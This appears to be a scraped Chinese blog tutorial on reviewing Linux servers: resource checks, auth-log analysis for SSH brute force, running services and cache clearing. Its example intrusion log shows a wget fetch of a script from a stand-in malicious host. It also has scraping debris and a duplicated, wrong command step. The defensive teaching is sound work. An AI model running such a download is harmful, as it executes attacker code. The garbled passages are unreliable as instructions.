100种广告设计/太原seo外包平台

100种广告设计,太原seo外包平台,六安做网站公司,长寿做网站服务器审查 在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。 Linux 以其稳定性和安全性而闻名…

服务器审查

在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。

Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。

# A command often used for showing memory information
free -m# A command for showing disk usage
df -h# A command for showing CPU load
uptime

系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。

Linux 服务器审查就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:


一、基础检查:看“生命体征”

就像测体温、血压,先看服务器的基本状态:

  1. 内存使用(查是否“贫血”):

    free -m  # 查看内存总量、已用、空闲(单位MB)
    • 关键指标available(可用内存)是否充足。

  2. 磁盘空间(查“胃容量”):

    df -h  # 查看各磁盘分区的使用情况(单位易读:GB/MB)
    • 重点关注Use%(使用率)超过 80% 需清理。

  3. CPU 负载(查“心脏压力”):

    uptime      # 查看负载平均值(1/5/15分钟)
    top 或 htop  # 实时监控CPU占用高的进程(按q退出)
    • 负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。


二、安全审查:防“小偷入侵”

检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):

  1. 用户账户检查(查“谁有钥匙”):

    sudo less /etc/passwd      # 查看所有用户
    sudo less /etc/shadow      # 查看用户密码状态(需权限)
    who                        # 查看当前登录用户
    last                       # 查看登录历史
    • 重点排查:陌生用户、空密码账户、root远程登录。

  2. 防火墙与端口(查“门窗是否关好”):

    sudo ufw status          # 查看防火墙状态(Ubuntu)
    sudo iptables -L -n -v  # 查看详细防火墙规则(通用)
    ss -tuln                # 查看所有监听端口(替代netstat)
    • 风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。

  3. 日志分析(查“监控录像”):

    sudo tail -100 /var/log/auth.log  # 查看认证日志(SSH登录记录)
    sudo journalctl -u sshd          # 查看SSH服务日志(Systemd系统)
    grep "Failed" /var/log/auth.log  # 过滤登录失败的记录(防暴力破解)
    🔹 如何检测可疑攻击?
    🔸 1️⃣ 统计失败登录次数:
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。
    🔍 如果失败次数异常多(比如几百次),可能是暴力破解!🔸 2️⃣ 查看攻击来源 IP
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:解析 Failed password for ... from 192.168.1.100 这类日志
    提取攻击 IP
    统计每个 IP 出现次数,按次数降序排序
    🌟 示例输出复制
    编辑
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录!🔸 3️⃣ 阻止攻击 IP
    如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁:sh
    复制
    编辑
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。🔹 总结
    命令	作用
    grep "Failed" /var/log/auth.log	查找登录失败的记录
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s <IP> -j DROP	封锁攻击 IP
    🔹 结论
    ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。
    ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。

三、性能调优:治“慢性病”

检查拖慢服务器的“慢性问题”:

  1. 进程与服务(查“谁在吃资源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序进程
    systemctl list-units --type=service  # 查看所有服务
    • 优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。

  2. 定时任务(查“自动任务”):

    crontab -l              # 查看当前用户的定时任务
    ls /etc/cron.*          # 查看系统级定时任务
    • 风险点:异常任务(如挖矿脚本)。

  3. 内核参数(查“身体机能”):

    sysctl -a | grep somaxconn  # 查看TCP连接队列大小(示例)
     
    • 常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。


四、备份与更新:打“疫苗”

确保系统安全和数据可恢复:

  1. 检查更新(打“补丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
    • 定期更新:修复安全漏洞,升级软件版本。

  2. 验证备份(查“保险柜”):

    ls -l /backup/            # 查看备份文件
    crontab -l | grep backup  # 检查备份任务是否设置
     
    • 关键点:备份是否完整、能否恢复。


五、自动化工具推荐

  • 安全扫描lynis audit system(开源安全审计工具)。

  • 监控告警Prometheus + Grafana(监控CPU、内存、磁盘)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


举个实际例子

假设服务器变慢,按以下步骤排查:

  1. 快速诊断

    uptime; free -m; df -h; top
     
    • 发现磁盘满了 → 用 du -sh /* | sort -rh | head 找大文件。

  2. 检查登录记录

    uptime; free -m; df -h; top
     
    • 发现陌生IP → 封锁IP,加强SSH密钥登录。


通过定期“体检”,你的服务器会变得更健康、更安全!🚀

正常运行时间负载

在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime

系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。

通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。

以下是该命令及其输出的示例:uptime

$ uptime10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。

uptime 是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!


命令输出示例

$ uptime10:58:35 up 2天, 20分钟,  1用户,  平均负载: 0.00, 0.01, 0.05
 

翻译成大白话

  • 10:58:35:现在是上午10点58分35秒(系统时间)。

  • up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。

  • 1用户:当前有1个用户登录(比如通过SSH)。

  • 平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。


“平均负载”通俗解释

你可以把负载(Load Average)想象成超市收银台的排队情况

  • 负载值 = 正在结账的顾客 + 排队等待的顾客

  • 假设服务器是4个收银台(4核CPU)

    • 负载 ≤4:顾客来了能立刻结账,无需排队(健康)。

    • 负载 >4:开始排队,数值越大队伍越长(可能卡顿)。

  • 三个数值的意义

    • 0.00(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。

    • 0.01(5分钟负载):短期的平均排队情况。

    • 0.05(15分钟负载):长期的趋势(更稳定)。


如何判断负载是否过高?

  • 单核CPU:负载超过1.0 表示过载。

  • 4核CPU:负载超过4.0 表示满负荷。

  • 举例

    • 负载: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分钟负载3.5 → 当前较忙,但未超4核能力。

      • 过去15分钟负载0.8 → 长期较空闲。


负载高的常见原因

  1. CPU密集型任务:代码死循环、大量计算。

  2. 磁盘I/O过高:频繁读写大文件、数据库查询慢。

  3. 内存不足:频繁交换内存到磁盘(SWAP)。

  4. 大量网络请求:DDoS攻击、高并发访问。


下一步操作建议

  1. 快速定位问题

    top                # 查看实时进程(按P按CPU排序,按M按内存排序)
    htop               # 更友好的交互式监控工具(需安装)
    iostat -x 1        # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
     


    (htop界面示例:红框标出高负载进程)

  2. 针对性解决

    • CPU高:结束异常进程(kill 进程ID)、优化代码逻辑。

    • 磁盘IO高:减少日志输出、升级SSD、检查数据库索引。

    • 内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。


实际案例

场景:负载突然飙升至 8.00(4核CPU服务器)。
排查

  1. 用 top 发现一个 python 进程占用 200% CPU(表示占满2个核)。

  2. 检查发现是爬虫程序死循环 → 优化代码或限制资源。

  3. 负载降至 2.00,恢复健康。


通过 uptime 快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑

身份验证日志

在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail

tail /var/log/auth.log

熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。

Linux 身份验证日志就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(实时监控):

    sudo tail -f /var/log/auth.log  # 实时滚动显示最新日志(按Ctrl+C退出)
     

二、日志里记录了什么?

1️⃣ SSH 登录记录
  • 登录成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
    • 关键信息:用户 root 从 IP 192.168.1.100 通过密码登录成功。

  • 登录失败

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
    • 危险信号:非法用户 hacker 从 203.0.113.5 尝试密码登录失败!


2️⃣ sudo 命令记录
  • 用户提权操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
    • 解读:用户 alice 用 sudo 以 root 身份执行了 apt update


3️⃣ 用户账户变更
  • 创建/删除用户

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
    • 监控重点:非管理员创建的未知用户可能是后门账户!


三、如何快速分析日志?

1️⃣ 找“暴力破解”攻击
  • 统计某个 IP 的失败登录次数:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 输出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
    • 结果解读:IP 203.0.113.5 尝试了 100 次密码,极可能是攻击者!

2️⃣ 检查可疑的 sudo 操作
  • 查看所有 sudo 提权记录:

    grep "sudo:" /var/log/auth.log
     
3️⃣ 追踪用户登录历史
  • 查看所有成功登录记录:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建议

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安装fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手动封禁IP
     
  2. 禁用密码登录,改用SSH密钥

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 设置日志监控告警(如用 logwatch 或 ELK 堆栈)。


实际案例:发现入侵痕迹

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
 

分析

  1. 攻击者从 203.0.113.5 暴力破解了 root 密码。

  2. 登录后下载了可疑脚本 x.sh(可能是木马)。
    应对:立即封锁IP,检查系统后门,重置root密码!


通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍

正在运行的服务

Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。

Linux 有多种工具可以实现此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl

systemctl --type=service 

此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。

在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:


一、查看服务列表:用“服务遥控器”

1. systemctl 命令(主流工具,适用于大多数新系统)
  • 列出所有正在运行的服务

    systemctl list-units --type=service --state=running
     

    输出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
    • 关键信息ACTIVE 显示服务状态(active 表示正常运行)。

  • 检查某个服务的详细状态(如Nginx):

    systemctl status nginx
     

    输出示例

    ● nginx.service - Nginx Web ServerLoaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days agoMain PID: 1234 (nginx)CGroup: /system.slice/nginx.service├─1234 nginx: master process /usr/sbin/nginx└─1235 nginx: worker process
     
    • 关注点Active(运行状态)、Main PID(进程ID)、日志片段。


2. service 命令(旧系统兼容工具,操作更简单)
  • 列出所有服务(仅显示部分):

    service --status-all
     

    输出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
    • 符号解读+ 表示运行中,- 表示已停止,? 表示状态未知。


二、检查网络服务:用“网络监控器”

1. ss 或 netstat 命令(查看服务监听的端口)
  • 列出所有监听端口的服务

    ss -tulnp  # 推荐使用(更高效)
    # 或
    netstat -tulnp  # 传统命令(逐渐被ss取代)
     

    输出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
    • 关键信息

      • 0.0.0.0:80 → Nginx 在 80 端口监听(提供 Web 服务)。

      • 127.0.0.1:3306 → MySQL 只允许本机访问数据库(更安全)。


2. lsof 命令(查看服务打开的文件/端口)
  • 查看某个服务(如Nginx)使用的资源

    sudo lsof -p $(pgrep nginx)  # 需安装 lsof
    
     

    输出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
    • 解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。


三、管理服务的常用操作

1. 启动/停止/重启服务

sudo systemctl start nginx    # 启动
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重启
 
2. 禁止服务开机自启

sudo systemctl disable nginx
3. 检查服务是否开机自启

systemctl is-enabled nginx
 

四、实际场景案例

问题:发现服务器 8080 端口被未知服务占用,如何排查?
  1. 查看监听 8080 端口的服务

    ss -tulnp | grep ':8080'
    # 输出:users:(("mystery",pid=9999,fd=3))
     
  2. 根据 PID 查找服务名

    ps -p 9999 -o comm=
    # 输出:mystery-service
     
  3. 停止并禁用该服务

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、总结

  • 定期检查服务:关闭不必要的服务,节省资源、提升安全。

  • 重点关注

    • 陌生服务(可能是恶意软件)。

    • 监听在公网 IP 的服务(如 0.0.0.0:3306 可能暴露数据库)。

  • 工具选择

    • 快速概览用 systemctl,网络分析用 ss,深度排查用 lsof

掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺

评估可用内存

在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。freevmstattop

例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题

free 是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!


用 free -h 看内存(人类友好模式)

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解释各部分含义
  1. Mem(物理内存)

    • total(总内存):15Gi → 服务器装了 15G 内存条

    • used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。

    • free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。

    • buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。

    • available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。

  2. Swap(交换内存)

    • total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。

    • used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。


如何判断内存是否够用?

  1. 重点看 available 列

    • 4.2Gi 表示当前还能支撑新程序运行的内存。

    • 如果 available 接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!

  2. Swap 使用情况

    • 少量使用 Swap(如 10% 以内)是正常的。

    • Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!


下一步操作建议

作用

📌 示例输出(部分字段解释)

 

plaintext

复制编辑

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含义
USER进程所属用户
PID进程 ID
%CPUCPU 占用率
%MEM内存占用率
VSZ进程占用的虚拟内存(KB)
RSS进程占用的物理内存(KB)
TTY终端设备
STAT进程状态
START进程启动时间
TIME进程累计 CPU 使用时间
COMMAND进程的命令

🔹 2️⃣ --sort=-%mem —— 按内存使用率降序排序

 

sh

复制编辑

--sort=-%mem

  1. 释放缓存(临时救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理缓存(不影响程序运行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解
    该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。🔹 1️⃣ sync —— 确保数据写入磁盘
    ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。🔹 2️⃣ echo 3 —— 生成缓存清理指令
    ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。数值	作用
    1	只清除 页缓存(Page Cache)
    2	只清除 目录项和 inode 缓存
    3	清除所有缓存(推荐使用)🔹 3️⃣ |(管道)—— 连接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    echo 3 生成指令
    | 管道符:将 echo 3 的输出传递给 tee 命令🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理
    sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。
    tee —— 既输出内容到终端,也写入文件:
    /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。
    tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结
    ✅ 完整流程:
    sync 确保所有数据写入磁盘,防止未保存数据丢失。
    echo 3 生成清理指令。
    | 把指令传递给 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有缓存。🔹 6️⃣ 注意事项
    📌 不会影响正在运行的程序:
    该命令仅清理缓存,不会影响应用程序的正常运行。
    清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。📌 适用于哪些场景?
    释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。
    测试性能:在进行性能测试时,希望得到不受缓存影响的结果。
    查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。🔹 7️⃣ 扩展:如何验证缓存清理?
    📌 清理缓存前后,查看内存占用
    free -h    # 查看内存使用情况
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看变化
    🔹 清理前:cached 部分较高
    🔹 清理后:cached 变少,free 变多 ✅🔹 8️⃣ 更安全的写法
    为了防止错误,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ✅ 区别:sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。
    🔹 9️⃣ 总结
    命令部分	作用
    sync	将缓存数据写入磁盘,防止数据丢失
    echo 3	生成清理指令(3 代表清理所有缓存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	执行缓存清理,释放内存
    💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。 

  2. 揪出“内存大户”

    top               # 按 M 按内存排序(找占用高的进程)
    htop              # 更友好的界面(需安装)
    ps aux --sort=-%mem | head  # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:关闭不需要的服务(如多余容器、测试环境)。优化程序内存泄漏(如 Java 的堆内存设置)。升级物理内存(简单粗暴但有效)。

场景available 只剩 500MB,Swap 用了 6Gi。
分析

  • 物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
    解决

  1. 用 top 发现一个 java 进程占用了 8Gi 内存。

  2. 联系开发团队优化代码或调整 JVM 内存参数。

  3. 临时重启该服务释放内存,长期计划加内存条。


通过 free -h,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/71785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言_数据结构总结6:链式栈

纯c语言代码&#xff0c;不涉及C 顺序栈的实现&#xff0c;欢迎查看这篇文章&#xff1a;C语言_数据结构总结5&#xff1a;顺序栈-CSDN博客 0. 结构单元 #include<stdio.h> #include<stdlib.h> typedef int ElemType; typedef struct Linknode { ElemType…

新品速递 | 多通道可编程衰减器+矩阵系统,如何破解复杂通信测试难题?

在无线通信技术快速迭代的今天&#xff0c;多通道可编程数字射频衰减器和衰减矩阵已成为测试领域不可或缺的核心工具。它们凭借高精度、灵活配置和强大的多通道协同能力&#xff0c;为5G、物联网、卫星通信等前沿技术的研发与验证提供了关键支持。从基站性能测试到终端设备校准…

AI自动化应用的影响

生产力的迭代也终将伴随着一代人的落幕。 2025年是AI应用爆发的开局之年&#xff0c;预计3-5年现有生产关系将出现颠覆性改革。 AI自动化对经济和就业的影响是一个复杂且多维的问题&#xff0c;其长期影响取决于技术进步、政策调控、社会适应能力等多重因素的综合作用。以下从技…

润开鸿重磅首发基于“RISC-V+OpenHarmony+星闪”的“鸿锐”AI开发平台

润开鸿重磅首发基于“RISC-VOpenHarmony星闪”的“鸿锐”AI开发平台 2月28日&#xff0c;2025中国RISC-V生态大会在北京中关村国际创新中心隆重召开。作为领先的鸿蒙生态专业技术公司和终端操作系统发行版提供商&#xff0c;以及不断推进基于RISC-V与OpenHarmony全栈开源生态构…

Java 深度复制对象:从基础到实战

目录 一、深度复制的概念二、实现深度复制的方法1. 使用序列化2. 手动实现深度复制 三、总结 在 Java 编程中&#xff0c;对象的复制是一个常见的需求。然而&#xff0c;简单的复制操作&#xff08;如直接赋值&#xff09;只会复制对象的引用&#xff0c;而不是创建一个新的对象…

C++ Primer 交换操作

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

FFmpeg-chapter7和chapter8-使用 FFmpeg 解码视频(原理篇和实站篇)

解码流程如下图 流程&#xff1a;首先&#xff0c;通过 avcodec_alloc_context3(nullptr) 分配一个 AVCodecContext 结构体&#xff0c;然后使用 avcodec_parameters_to_context 将参数复制到上下文中&#xff0c;接着通过 avcodec_find_decoder 查找指定的解码器&#xff0c;并…

CSS【实战】模拟 html 的 title 属性(鼠标悬浮显示提示文字)

效果 原理 提示内容的定位&#xff1a;子绝父相鼠标悬浮前&#xff0c;提示内容visibility: hidden;通过 :hover 触发鼠标悬浮样式&#xff0c;提示内容变为 visibility: visible; 代码 <!DOCTYPE html> <html lang"en"><head><meta charset&qu…

K8s控制器Deployment详解

回顾 ReplicaSet 控制器,该控制器是用来维护集群中运行的 Pod 数量的&#xff0c;但是往往在实际操作的时候&#xff0c;我们反而不会去直接使用 RS&#xff0c;而是会使用更上层的控制器&#xff0c;比如说 Deployment。 Deployment 一个非常重要的功能就是实现了 Pod 的滚动…

【MYSQL数据库异常处理】执行SQL语句报超时异常

MYSQL执行SQL语句异常&#xff1a;The last packet successfully received from the server was 100,107 milliseconds ago. The last packet sent successfully to the server was 100,101 milliseconds ago. 这个错误表明 MySQL 服务器与 JDBC 连接之间的通信超时了。通常由…

树莓派5首次开机保姆级教程(无显示器通过VNC连接树莓派桌面)

第一次开机详细步骤 步骤一&#xff1a;树莓派系统烧录1 搜索打开烧录软件“Raspberry Pi Imager”2 选择合适的设备、系统、SD卡3 烧录配置选项 步骤二&#xff1a;SSH远程树莓派1 树莓派插电2 网络连接&#xff08;有线或无线&#xff09;3 确定树莓派IP地址 步骤三&#xff…

装饰器模式--RequestWrapper、请求流request无法被重复读取

目录 前言一、场景二、原因分析三、解决四、更多 前言 曾经遇见这么一段代码&#xff0c;能看出来是把request又重新包装了一下&#xff0c;核心信息都不会改变 后面了解到这叫 装饰器模式&#xff08;Decorator Pattern&#xff09; &#xff1a;也称为包装模式(Wrapper Pat…

大语言模型进化论:从达尔文到AI的启示与展望

文章大纲 引言大语言模型中的“进化论”思想体现遗传变异过度繁殖和生存斗争大模型“过度繁殖”与“生存竞争”机制解析**一、过度繁殖:技术迭代的指数级爆发****二、生存竞争:计算资源的达尔文战场****三、生存竞争胜出关键要素****四、行业竞争格局演化趋势**核心结论自然选…

监听 RabbitMQ 延时交换机的消息数、OpenFeign 路径参数传入斜杠无法正确转义

背景 【MQ】一套为海量消息和高并发热点消息&#xff0c;提供高可用精准延时服务的解决方案 我现在有一个需求&#xff0c;就是监听 RabbitMQ 一个延时交换机的消息数&#xff0c;而 RabbitTemplate 是不存在对应的方法来获取的。 而我们在 RabbitMQ 的控制台却可以发现延时交…

浅谈 DeepSeek 对 DBA 的影响

引言&#xff1a; 在人工智能技术飞速发展的背景下&#xff0c;DeepSeek 作为一款基于混合专家模型&#xff08;MoE&#xff09;和强化学习技术的大语言模型&#xff0c;正在重塑传统数据库管理&#xff08;DBA&#xff09;的工作模式。通过结合其强大的自然语言处理能力、推理…

STM32F4 UDP组播通信:填一填ST官方HAL库的坑

先说写作本文的原因&#xff0c;由于开项目开发中需要用到UDP组播接收的功能&#xff0c;但是ST官方没有提供合适的参考&#xff0c;使用STM32CubeMX生成的代码也是不能直接使用的&#xff0c;而我在网上找了一大圈&#xff0c;也没有一个能够直接解决的方案&#xff0c;deepse…

leetcode日记(85)验证二叉搜索树

不难&#xff0c;有两种解法&#xff08;看答案才想到中序遍历&#xff09;。 我用的是普通递归&#xff0c;和上一题差不多&#xff0c;规定min和max&#xff0c;每次遍历缩小范围: /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNod…

